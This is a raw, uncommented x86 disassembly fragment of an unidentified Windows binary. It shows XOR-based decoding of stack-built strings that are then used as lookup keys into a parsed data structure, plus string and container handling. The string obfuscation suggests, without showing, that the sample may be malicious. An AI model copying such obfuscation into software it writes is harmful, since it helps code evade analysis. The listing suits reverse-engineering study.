mov dword [ebp - 0x71c], 0xf3c01ed1
sub esp, 0x18
mov eax, dword [ebp - 0x720]
mov ecx, dword [ebp - 0x71c]
mov dword [ebp - 0x10e0], eax
mov dword [ebp - 0x10dc], ecx
mov dword [ebp - 0x728], 0x61453c76
mov dword [ebp - 0x724], 0xa0df89f8
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x724]
mov dword [ebp - 0x10d8], eax
mov dword [ebp - 0x10d4], ecx
mov dword [ebp - 0x730], 0xa980d4ad
mov dword [ebp - 0x72c], 0xf3c01ed1
mov eax, dword [ebp - 0x730]
mov ecx, dword [ebp - 0x72c]
mov dword [ebp - 0x18f0], eax
mov dword [ebp - 0x738], 0x61453c76
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x734], 0xa0df89f8
mov eax, dword [ebp - 0x738]
mov ecx, dword [ebp - 0x734]
movaps xmm1, xmmword [ebp - 0x10e0]
mov dword [ebp - 0x18e8], eax
lea eax, [ebp - 0x1c18]
mov dword [ebp - 0x18e4], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x18f0]
mov dword [ebp - 0x1c80], esp
push eax
movaps xmmword [ebp - 0x10e0], xmm1
call fcn.0041ac50
mov byte [ebp - 4], 0x3e
sub esp, 8
mov esi, esp
mov byte [ebp - 0x1d], 0
mov dword [ebp - 0x1c7c], esp
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0x6c]
sar eax, 3
imul edi, eax, 0xaaaaaaab
test edi, edi
je 0x48643c
cmp edi, 0xaaaaaaa
ja 0x48c72e
lea edx, [ebp - 0x274]
mov dword [ebp - 0x274], edi
call fcn.00426ff0
mov dword [esi], eax
lea ecx, [edi + edi*2]
mov dword [esi + 4], eax
mov dword [ebp - 0x278], esi
lea eax, [eax + ecx*8]
mov dword [esi + 8], eax
mov byte [ebp - 4], 0x3f
mov edi, dword [esi]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x137c], edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1380], edi
mov dword [ebp - 0x1378], esi
mov byte [ebp - 4], 0x40
cmp eax, ecx
je 0x486421
push eax
mov ecx, edi
call fcn.004163b0
mov eax, dword [ebp - 0x24]
add edi, 0x18
add eax, 0x18
mov dword [ebp - 0x137c], edi
mov dword [ebp - 0x24], eax
cmp eax, dword [ebp - 0x28]
jne 0x486402
mov dword [ebp - 0x1380], edi
mov byte [ebp - 4], 0x3f
mov dword [esi + 4], edi
mov dword [ebp - 0x278], 0
mov byte [ebp - 4], 0x3e
mov byte [ebp - 4], 0x41
mov byte [ebp - 4], 0x3a
mov cl, byte [ebp - 0x1d]
call fcn.004d4280
mov ecx, dword [ebp - 0x1c]
add esp, 0x24
test al, al
movzx ecx, cl
mov eax, 1
cmovne ecx, eax
mov byte [ebp - 0x1c], cl
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x1c18]
call fcn.00402df0
mov edi, dword [ebp - 0x100]
movzx eax, byte [edi]
sub eax, 1
je 0x48649b
sub eax, 1
je 0x48648f
inc dword [ebp - 0xf4]
jmp 0x485f90
add dword [ebp - 0xf8], 0x10
jmp 0x485f90
mov eax, dword [ebp - 0xfc]
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x164], eax
call fcn.00417990
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0xfc], eax
jmp 0x485f90
lea ecx, [ebp - 0x168]
call fcn.00417990
mov ecx, dword [ebp - 0x168]
cmp byte [ecx + 0xd], 0
je 0x485f31
mov byte [ebp - 4], 0x32
mov eax, dword [ebp - 0x1c4]
push dword [eax + 4]
lea eax, [ebp - 0x1c4]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x1c4]
call fcn.004338e3
mov esi, dword [ebp - 0x110]
add esp, 8
movzx eax, byte [esi]
sub eax, 1
je 0x486533
sub eax, 1
je 0x486527
inc dword [ebp - 0x104]
jmp 0x485e70
add dword [ebp - 0x108], 0x10
jmp 0x485e70
mov eax, dword [ebp - 0x10c]
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x170], eax
call fcn.00417990
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x10c], eax
jmp 0x485e70
lea ecx, [ebp - 0x174]
call fcn.00417990
mov ecx, dword [ebp - 0x174]
cmp byte [ecx + 0xd], 0
je 0x485e20
mov byte [ebp - 4], 0x23
mov eax, dword [ebp - 0x1cc]
push dword [eax + 4]
lea eax, [ebp - 0x1cc]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x1cc]
call fcn.004338e3
add esp, 8
mov eax, dword [ebp - 0x1c]
cmp byte [ebp - 0x1e], 0
je 0x487538
test al, al
jne 0x487538
movzx eax, byte [ebx + 0x50]
sub eax, 0
je 0x486cdc
sub eax, 1
je 0x4865da
sub eax, 1
jne 0x4865e8
mov eax, dword [ebx + 0x58]
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
sar ecx, 4
jmp 0x4865e0
mov eax, dword [ebx + 0x58]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x486cdc
lea eax, [ebp - 0x1d4]
push eax
lea ecx, [ebx + 0x50]
call fcn.0041b260
mov byte [ebp - 4], 0x44
lea eax, [ebp - 0xcc]
mov ecx, dword [ebp - 0x1d4]
push eax
mov ecx, dword [ecx]
mov dword [ebp - 0x184], ecx
call fcn.00413660
cmp byte [ecx + 0xd], 0
jne 0x486ca6
nop
mov edx, dword [ebp - 0x1c]
test dl, dl
jne 0x486ca6
lea esi, [ecx + 0x28]
push esi
lea ecx, [ebp - 0xc8]
call fcn.00417ab0
mov ecx, dword [ebp - 0xc8]
movzx eax, byte [ecx]
sub eax, 0
je 0x48667a
sub eax, 1
je 0x48666b
sub eax, 1
je 0x48665e
mov dword [ebp - 0xbc], 0
jmp 0x486684
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
jmp 0x486684
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xc4], eax
jmp 0x486684
mov dword [ebp - 0xbc], 1
push esi
lea ecx, [ebp - 0x250]
call fcn.00417ab0
mov eax, dword [ebp - 0x250]
movzx eax, byte [eax]
sub eax, 1
je 0x4866c3
sub eax, 1
je 0x4866af
mov dword [ebp - 0x244], 1
jmp 0x4866d4
mov eax, dword [ebp - 0x250]
mov eax, dword [eax + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x248], eax
jmp 0x4866d4
mov eax, dword [ebp - 0x250]
mov eax, dword [eax + 8]
mov eax, dword [eax]
mov dword [ebp - 0x24c], eax
mov edi, dword [ebp - 0xc8]
nop word [eax + eax]
cmp edi, dword [ebp - 0x250]
jne 0x48c697
movzx ecx, byte [edi]
mov eax, ecx
sub eax, 1
je 0x486717
sub eax, 1
je 0x486709
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0x244]
jmp 0x486723
mov eax, dword [ebp - 0xc0]
cmp eax, dword [ebp - 0x248]
jmp 0x486723
mov eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0x24c]
setne al
test al, al
je 0x486c8b
sub ecx, 0
je 0x48c65e
sub ecx, 1
je 0x486758
sub ecx, 1
je 0x486750
cmp dword [ebp - 0xbc], 0
jne 0x48c2b6
jmp 0x486761
mov edi, dword [ebp - 0xc0]
jmp 0x486761
mov edi, dword [ebp - 0xc4]
add edi, 0x28
test dl, dl
jne 0x486c8b
xorps xmm0, xmm0
mov dword [ebp - 0x210], 0
movups xmmword [ebp - 0x220], xmm0
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0xf
mov byte [ebp - 0x220], dl
mov byte [ebp - 4], 0x48
lea esi, [edi + 8]
mov dword [ebp - 0x740], 0xa9eca6d8
mov dword [ebp - 0x73c], 0xf3c01ed1
mov eax, dword [ebp - 0x740]
mov ecx, dword [ebp - 0x73c]
mov dword [ebp - 0x10f0], eax
mov dword [ebp - 0x10ec], ecx
mov dword [ebp - 0x748], 0x61453c76
mov dword [ebp - 0x744], 0xa0df89f8
mov eax, dword [ebp - 0x748]
mov ecx, dword [ebp - 0x744]
mov dword [ebp - 0x10e8], eax
mov dword [ebp - 0x10e4], ecx
mov dword [ebp - 0x750], 0xa980d4ad
mov dword [ebp - 0x74c], 0xf3c01ed1
mov eax, dword [ebp - 0x750]
mov ecx, dword [ebp - 0x74c]
mov dword [ebp - 0x758], 0x61453c76
mov dword [ebp - 0x1a70], eax
mov dword [ebp - 0x754], 0xa0df89f8
mov eax, dword [ebp - 0x758]
mov dword [ebp - 0x1a6c], ecx
mov ecx, dword [ebp - 0x754]
movaps xmm1, xmmword [ebp - 0x10f0]
mov dword [ebp - 0x1a68], eax
mov dword [ebp - 0x1a64], ecx
xorps xmm1, xmmword [ebp - 0x1a70]
movaps xmmword [ebp - 0x10f0], xmm1
mov dword [ebp - 0x24], esi
cmp byte [edi], dl
jne 0x486897
push 1
lea ecx, [ebp - 0x1588]
mov byte [edi], 1
call fcn.00417ef0
mov eax, dword [ebp - 0x1588]
mov ecx, dword [ebp - 0x1584]
mov dword [esi], eax
mov dword [esi + 4], ecx
jmp 0x48689a
mov dword [ebp - 0x24], esi
cmp byte [edi], 1
jne 0x48c60a
mov esi, dword [esi]
lea eax, [ebp - 0x10f0]
push eax
lea ecx, [ebp - 0x1f80]
call fcn.00402cf0
mov byte [ebp - 4], 0x49
lea eax, [ebp - 0x1f80]
push eax
lea eax, [ebp - 0x1f20]
mov ecx, esi
push eax
call fcn.00426db0
mov esi, dword [eax]
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x1f80]
call fcn.00402df0
cmp byte [esi + 0x28], 0
je 0x486a4b
mov dword [ebp - 0x760], 0xa9eca6d8
mov dword [ebp - 0x75c], 0xf3c01ed1
mov eax, dword [ebp - 0x760]
mov ecx, dword [ebp - 0x75c]
mov dword [ebp - 0x1100], eax
mov dword [ebp - 0x10fc], ecx
mov dword [ebp - 0x768], 0x61453c76
mov dword [ebp - 0x764], 0xa0df89f8
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x764]
mov dword [ebp - 0x10f8], eax
mov dword [ebp - 0x10f4], ecx
mov dword [ebp - 0x770], 0xa980d4ad
mov dword [ebp - 0x76c], 0xf3c01ed1
mov eax, dword [ebp - 0x770]
mov ecx, dword [ebp - 0x76c]
mov dword [ebp - 0x778], 0x61453c76
mov dword [ebp - 0x1a80], eax
mov dword [ebp - 0x774], 0xa0df89f8
mov eax, dword [ebp - 0x778]
mov dword [ebp - 0x1a7c], ecx
mov ecx, dword [ebp - 0x774]
cmp byte [edi], 0
movaps xmm1, xmmword [ebp - 0x1100]
mov dword [ebp - 0x1a78], eax
mov dword [ebp - 0x1a74], ecx
xorps xmm1, xmmword [ebp - 0x1a80]
movaps xmmword [ebp - 0x1100], xmm1
jne 0x4869db
push 1
lea ecx, [ebp - 0x1590]
mov byte [edi], 1
call fcn.00417ef0
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1590]
mov ecx, dword [ebp - 0x158c]
mov dword [esi], eax
mov dword [esi + 4], ecx
jmp 0x4869de
mov esi, dword [ebp - 0x24]
cmp byte [edi], 1
jne 0x48c5b6
mov esi, dword [esi]
lea eax, [ebp - 0x1100]
push eax
lea ecx, [ebp - 0x1f98]
call fcn.00402cf0
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0x1f98]
push eax
lea eax, [ebp - 0x1ee0]
mov ecx, esi
push eax
call fcn.00426db0
mov esi, dword [eax]
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x1f98]
call fcn.00402df0
lea eax, [ebp - 0x1598]
push eax
lea ecx, [esi + 0x28]
call fcn.004219a0
push dword [ebp - 0x1594]
lea ecx, [ebp - 0x220]
push dword [ebp - 0x1598]
call fcn.00416130
sub esp, 0x18
lea eax, [ebp - 0x220]
mov esi, esp
mov dword [ebp - 0x1d70], esp
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
cmp dword [ebp - 0x20c], 0xf
mov edi, dword [ebp - 0x210]
cmova eax, dword [ebp - 0x220]
mov dword [ebp - 0x28], eax
cmp edi, 0x7fffffff
ja 0x48c8a2
cmp edi, 0xf
ja 0x486aaa
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], 0xf
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
jmp 0x486af9
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x486abd
mov eax, closesocket
jmp 0x486ac8
cmp eax, 0x16
mov ecx, 0x16
cmovb eax, ecx
mov dword [ebp - 0x178], eax
lea eax, [ebp - 0x178]
push eax
push esi
call fcn.004032d0
mov ecx, dword [ebp - 0x178]
mov dword [esi], eax
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], ecx
lea ecx, [edi + 1]
push ecx
push dword [ebp - 0x28]
push eax
call fcn.00435260
add esp, 0x14
mov byte [ebp - 4], 0x4f
sub esp, 0xc
mov esi, esp
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1d68], esp
mov dword [ebp - 0x24], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0x6c]
sar eax, 3
imul edi, eax, 0xaaaaaaab
test edi, edi
je 0x486bcd
cmp edi, 0xaaaaaaa
ja 0x48c72e
lea edx, [ebp - 0x27c]
mov dword [ebp - 0x27c], edi
call fcn.00426ff0
mov dword [esi], eax
lea ecx, [edi + edi*2]
mov dword [esi + 4], eax
mov dword [ebp - 0x280], esi
lea eax, [eax + ecx*8]
mov dword [esi + 8], eax
mov byte [ebp - 4], 0x50
mov eax, esp
mov esi, dword [esi]
mov ecx, dword [ebp - 0x68]
mov edi, dword [ebp - 0x6c]
mov dword [ebp - 0x1388], esi
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x138c], esi
mov dword [ebp - 0x1384], eax
mov byte [ebp - 4], 0x51
cmp edi, ecx
je 0x486bb2
push edi
mov ecx, esi
call fcn.004163b0
add esi, 0x18
add edi, 0x18
mov dword [ebp - 0x1388], esi
cmp edi, dword [ebp - 0x28]
jne 0x486b96
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x138c], esi
mov byte [ebp - 4], 0x50
mov dword [eax + 4], esi
mov dword [ebp - 0x280], 0
mov byte [ebp - 4], 0x4f
mov byte [ebp - 4], 0x52
mov byte [ebp - 4], 0x48
mov cl, byte [ebp - 0x1e]
call fcn.004d4280
mov ecx, dword [ebp - 0x1c]
add esp, 0x24
test al, al
movzx edx, cl
mov eax, 1
cmovne edx, eax
mov dword [ebp - 0x1c], edx
mov byte [ebp - 4], 0x44
mov eax, dword [ebp - 0x20c]
cmp eax, 0xf
jbe 0x486c1b
push eax
push dword [ebp - 0x220]
lea eax, [ebp - 0x220]
push eax
call fcn.00402fe0
mov edx, dword [ebp - 0x1c]
add esp, 0xc
mov edi, dword [ebp - 0xc8]
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0xf
mov byte [ebp - 0x220], 0
movzx eax, byte [edi]
sub eax, 1
je 0x486c60
sub eax, 1
je 0x486c54
inc dword [ebp - 0xbc]
jmp 0x4866e0
add dword [ebp - 0xc0], 0x10
jmp 0x4866e0
mov eax, dword [ebp - 0xc4]
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x180], eax
call fcn.00417990
mov eax, dword [ebp - 0x180]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0xc4], eax
jmp 0x4866e0
lea ecx, [ebp - 0x184]
call fcn.00417990
mov ecx, dword [ebp - 0x184]
cmp byte [ecx + 0xd], 0
je 0x486620
mov byte [ebp - 4], 0x23
mov eax, dword [ebp - 0x1d4]
push dword [eax + 4]
lea eax, [ebp - 0x1d4]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x1d4]
call fcn.004338e3
mov eax, dword [ebp - 0x1c]
add esp, 8
test al, al
jne 0x487538
movzx eax, byte [ebx + 0x60]
sub eax, 0
je 0x487538
sub eax, 1
je 0x486d00
sub eax, 1
jne 0x486d0e
mov eax, dword [ebx + 0x68]
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
sar ecx, 4
jmp 0x486d06
mov eax, dword [ebx + 0x68]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x487538
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x60]
call fcn.0041e450
mov edi, dword [ebp - 0x18]
or edi, 0x20000
mov dword [ebp - 0x18], edi
cmp byte [ebx + 0x60], 1
jne 0x48c7f9
lea ecx, [ebp - 0x74]
call fcn.0041e450
mov byte [ebp - 4], 0x57
xor eax, eax
mov ecx, dword [ebp - 0x74]
lea edx, [ebp - 0x74]
cmp byte [ebx + 0x60], 1
mov byte [ebp - 0x284], 0
cmove eax, dword [ebx + 0x68]
push dword [ecx]
lea ecx, [ebp - 0x1ee8]
push edx
mov eax, dword [eax]
push dword [ebp - 0x284]
push eax
push dword [eax]
call fcn.0042e7d0
mov esi, dword [ebp - 0x60]
lea eax, [ebp - 0x60]
add esp, 0x14
mov ecx, eax
push dword [esi + 4]
push eax
call fcn.0041d1d0
mov dword [esi + 4], esi
mov dword [esi], esi
mov dword [esi + 8], esi
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x70], 0
mov byte [ebp - 4], 0x54
mov eax, dword [ebp - 0x74]
push dword [eax + 4]
lea eax, [ebp - 0x74]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x74]
call fcn.004338e3
mov eax, dword [ebp - 0x60]
add esp, 8
mov byte [ebp - 0xcd], 0
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
cmp byte [eax + 0xd], 0
jne 0x48750b
nop word [eax + eax]
mov edx, dword [ebp - 0x1c]
test dl, dl
jne 0x487508
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0xb8]
call fcn.00417ab0
mov ecx, dword [ebp - 0xb8]
movzx eax, byte [ecx]
sub eax, 0
je 0x486e4a
sub eax, 1
je 0x486e3b
sub eax, 1
je 0x486e2e
mov dword [ebp - 0xac], 0
jmp 0x486e54
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
jmp 0x486e54
mov eax, dword [ecx + 8]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
jmp 0x486e54
mov dword [ebp - 0xac], 1
push esi
lea ecx, [ebp - 0x240]
call fcn.00417ab0
mov eax, dword [ebp - 0x240]
movzx eax, byte [eax]
sub eax, 1
je 0x486e93
sub eax, 1
je 0x486e7f
mov dword [ebp - 0x234], 1
jmp 0x486ea4
mov eax, dword [ebp - 0x240]
mov eax, dword [eax + 8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x238], eax
jmp 0x486ea4
mov eax, dword [ebp - 0x240]
mov eax, dword [eax + 8]
mov eax, dword [eax]
mov dword [ebp - 0x23c], eax
mov esi, dword [ebp - 0xb8]
nop word [eax + eax]
cmp esi, dword [ebp - 0x240]
jne 0x48c7c0
movzx ecx, byte [esi]
mov eax, ecx
sub eax, 1
je 0x486ee7
sub eax, 1
je 0x486ed9
mov eax, dword [ebp - 0xac]
cmp eax, dword [ebp - 0x234]
jmp 0x486ef3
mov eax, dword [ebp - 0xb0]
cmp eax, dword [ebp - 0x238]
jmp 0x486ef3
mov eax, dword [ebp - 0xb4]
cmp eax, dword [ebp - 0x23c]
setne al
test al, al
je 0x4874ed
sub ecx, 0
je 0x48c787
sub ecx, 1
je 0x486f28
sub ecx, 1
je 0x486f20
cmp dword [ebp - 0xac], 0
jne 0x48c2ef
jmp 0x486f31
mov esi, dword [ebp - 0xb0]
jmp 0x486f31
mov esi, dword [ebp - 0xb4]
add esi, 0x28
test dl, dl
jne 0x4874ed
xorps xmm0, xmm0
mov dword [ebp - 0x1f8], 0
movups xmmword [ebp - 0x208], xmm0
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], dl
mov byte [ebp - 4], 0x5c
mov dword [ebp - 0x780], 0xa9eca6d8
mov dword [ebp - 0x77c], 0xf3c01ed1
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x77c]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x788], 0x61453c76
mov dword [ebp - 0x784], 0xa0df89f8
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], ecx
mov dword [ebp - 0x790], 0xa980d4ad
mov dword [ebp - 0x78c], 0xf3c01ed1
mov eax, dword [ebp - 0x790]
mov ecx, dword [ebp - 0x78c]
mov dword [ebp - 0x798], 0x61453c76
mov dword [ebp - 0x1a90], eax
mov dword [ebp - 0x794], 0xa0df89f8
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x1a8c], ecx
mov ecx, dword [ebp - 0x794]
movaps xmm1, xmmword [ebp - 0x320]
mov dword [ebp - 0x1a88], eax
mov dword [ebp - 0x1a84], ecx
xorps xmm1, xmmword [ebp - 0x1a90]
movaps xmmword [ebp - 0x320], xmm1
cmp byte [esi], dl
jne 0x487060
push 1
lea ecx, [ebp - 0x15a8]
mov byte [esi], 1
call fcn.00417ef0
mov eax, dword [ebp - 0x15a8]
mov ecx, dword [ebp - 0x15a4]
mov dword [esi + 8], eax
mov dword [esi + 0xc], ecx
cmp byte [esi], 1
jne 0x48c733
mov eax, dword [esi + 8]
lea ecx, [ebp - 0x320]
xorps xmm0, xmm0
mov dword [ebp - 0x28], eax
movups xmmword [ebp - 0xee8], xmm0
mov dword [ebp - 0xed8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xed4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x487096
sub ecx, edx
lea eax, [ebp - 0x320]
push ecx
push eax
lea ecx, [ebp - 0xee8]
call fcn.00403040
mov byte [ebp - 4], 0x5d
lea eax, [ebp - 0xee8]
mov ecx, dword [ebp - 0x28]
push eax
lea eax, [ebp - 0x1ed8]
push eax
call fcn.00426db0
mov eax, dword [eax]
add eax, 0x28
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 0x5c
mov ecx, dword [ebp - 0xed4]
cmp ecx, 0xf
jbe 0x4870fc
push ecx
push dword [ebp - 0xee8]
lea eax, [ebp - 0xee8]
push eax
call fcn.00402fe0
mov eax, dword [ebp - 0x28]
add esp, 0xc
mov dword [ebp - 0xed8], 0
mov dword [ebp - 0xed4], 0xf
mov byte [ebp - 0xee8], 0
cmp byte [eax], 0
je 0x48727a
mov dword [ebp - 0x7a0], 0xa9eca6d8
mov dword [ebp - 0x79c], 0xf3c01ed1
mov eax, dword [ebp - 0x7a0]
mov ecx, dword [ebp - 0x79c]
mov dword [ebp - 0x1180], eax
mov dword [ebp - 0x117c], ecx
mov dword [ebp - 0x7a8], 0x61453c76
mov dword [ebp - 0x7a4], 0xa0df89f8
mov eax, dword [ebp - 0x7a8]
mov ecx, dword [ebp - 0x7a4]
mov dword [ebp - 0x1178], eax
mov dword [ebp - 0x1174], ecx
mov dword [ebp - 0x7b0], 0xa980d4ad
mov dword [ebp - 0x7ac], 0xf3c01ed1
mov eax, dword [ebp - 0x7b0]
mov ecx, dword [ebp - 0x7ac]
mov dword [ebp - 0x7b8], 0x61453c76
mov dword [ebp - 0x1aa0], eax
mov dword [ebp - 0x7b4], 0xa0df89f8
mov eax, dword [ebp - 0x7b8]
mov dword [ebp - 0x1a9c], ecx
mov ecx, dword [ebp - 0x7b4]
cmp byte [esi], 0
movaps xmm1, xmmword [ebp - 0x1180]
mov dword [ebp - 0x1a98], eax
mov dword [ebp - 0x1a94], ecx
xorps xmm1, xmmword [ebp - 0x1aa0]
movaps xmmword [ebp - 0x1180], xmm1
jne 0x48720c
push 1
lea ecx, [ebp - 0x15a0]
mov byte [esi], 1
call fcn.00417ef0
mov eax, dword [ebp - 0x15a0]
mov ecx, dword [ebp - 0x159c]
mov dword [esi + 8], eax
mov dword [esi + 0xc], ecx
cmp byte [esi], 1
jne 0x48c6d0
mov esi, dword [esi + 8]
lea eax, [ebp - 0x1180]
push eax
lea ecx, [ebp - 0x1e70]
call fcn.00402cf0
mov byte [ebp - 4], 0x60
lea eax, [ebp - 0x1e70]
push eax
lea eax, [ebp - 0x1ef0]
mov ecx, esi
push eax
call fcn.00426db0
mov esi, dword [eax]
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x1e70]
call fcn.00402df0
lea eax, [ebp - 0x1558]
push eax
lea ecx, [esi + 0x28]
call fcn.004219a0
push dword [ebp - 0x1554]
lea ecx, [ebp - 0x208]
push dword [ebp - 0x1558]
call fcn.00416130
sub esp, 0x18
lea eax, [ebp - 0x208]
mov esi, esp
mov dword [ebp - 0x1d64], esp
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
cmp dword [ebp - 0x1f4], 0xf
mov edi, dword [ebp - 0x1f8]
cmova eax, dword [ebp - 0x208]
mov dword [ebp - 0x28], eax
cmp edi, 0x7fffffff
ja 0x48c8a2
cmp edi, 0xf
ja 0x4872d9
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], 0xf
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
jmp 0x487328
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x4872ec
mov eax, closesocket
jmp 0x4872f7
cmp eax, 0x16
mov ecx, 0x16
cmovb eax, ecx
mov dword [ebp - 0x1a8], eax
lea eax, [ebp - 0x1a8]
push eax
push esi
call fcn.004032d0
mov ecx, dword [ebp - 0x1a8]
mov dword [esi], eax
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], ecx
lea ecx, [edi + 1]
push ecx
push dword [ebp - 0x28]
push eax
call fcn.00435260
add esp, 0x14
mov byte [ebp - 4], 0x63
sub esp, 0xc
mov esi, esp
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1d60], esp
mov dword [ebp - 0x24], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0x6c]
sar eax, 3
imul eax, eax, 0xaaaaaaab
test eax, eax
je 0x48742f
cmp eax, 0xaaaaaaa
ja 0x48c72e
lea edi, [eax + eax*2]
shl edi, 3
cmp edi, 0x1000
jb 0x4873ab
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x48c729
push eax
call fcn.00433662
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x48c724
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x4873bc
test edi, edi
je 0x4873ba
push edi
call fcn.00433662
add esp, 4
jmp 0x4873bc
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
add eax, edi
mov dword [esi + 8], eax
mov dword [ebp - 0x288], esi
mov byte [ebp - 4], 0x64
mov esi, dword [esi]
mov ecx, dword [ebp - 0x68]
mov edi, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1394], esi
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1398], esi
mov dword [ebp - 0x1390], eax
mov byte [ebp - 4], 0x65
cmp edi, ecx
je 0x487414
push edi
mov ecx, esi
call fcn.004163b0
add esi, 0x18
add edi, 0x18
mov dword [ebp - 0x1394], esi
cmp edi, dword [ebp - 0x28]
jne 0x4873f8
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1398], esi
mov byte [ebp - 4], 0x64
mov dword [eax + 4], esi
mov dword [ebp - 0x288], 0
mov byte [ebp - 4], 0x63
mov byte [ebp - 4], 0x66
mov byte [ebp - 4], 0x5c
mov cl, byte [ebp - 0x1e]
call fcn.004d4280
mov ecx, dword [ebp - 0x1c]
add esp, 0x24
test al, al
movzx edx, cl
mov eax, 1
cmovne edx, eax
mov dword [ebp - 0x1c], edx
mov byte [ebp - 4], 0x54
mov eax, dword [ebp - 0x1f4]
cmp eax, 0xf
jbe 0x48747d
push eax
push dword [ebp - 0x208]
lea eax, [ebp - 0x208]
push eax
call fcn.00402fe0
mov edx, dword [ebp - 0x1c]
add esp, 0xc
mov esi, dword [ebp - 0xb8]
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
movzx eax, byte [esi]
sub eax, 1
je 0x4874c2
sub eax, 1
je 0x4874b6
inc dword [ebp - 0xac]
jmp 0x486eb0
add dword [ebp - 0xb0], 0x10
jmp 0x486eb0
mov eax, dword [ebp - 0xb4]
lea ecx, [ebp - 0x188]
mov dword [ebp - 0x188], eax
call fcn.00417990
mov eax, dword [ebp - 0x188]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0xb4], eax
jmp 0x486eb0
lea ecx, [ebp - 0x18c]
call fcn.00417990
mov eax, dword [ebp - 0x18c]
cmp byte [eax + 0xd], 0
je 0x486df0
mov edi, dword [ebp - 0x18]
and edi, 0xfffdffff
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 0x23
mov eax, dword [ebp - 0x60]
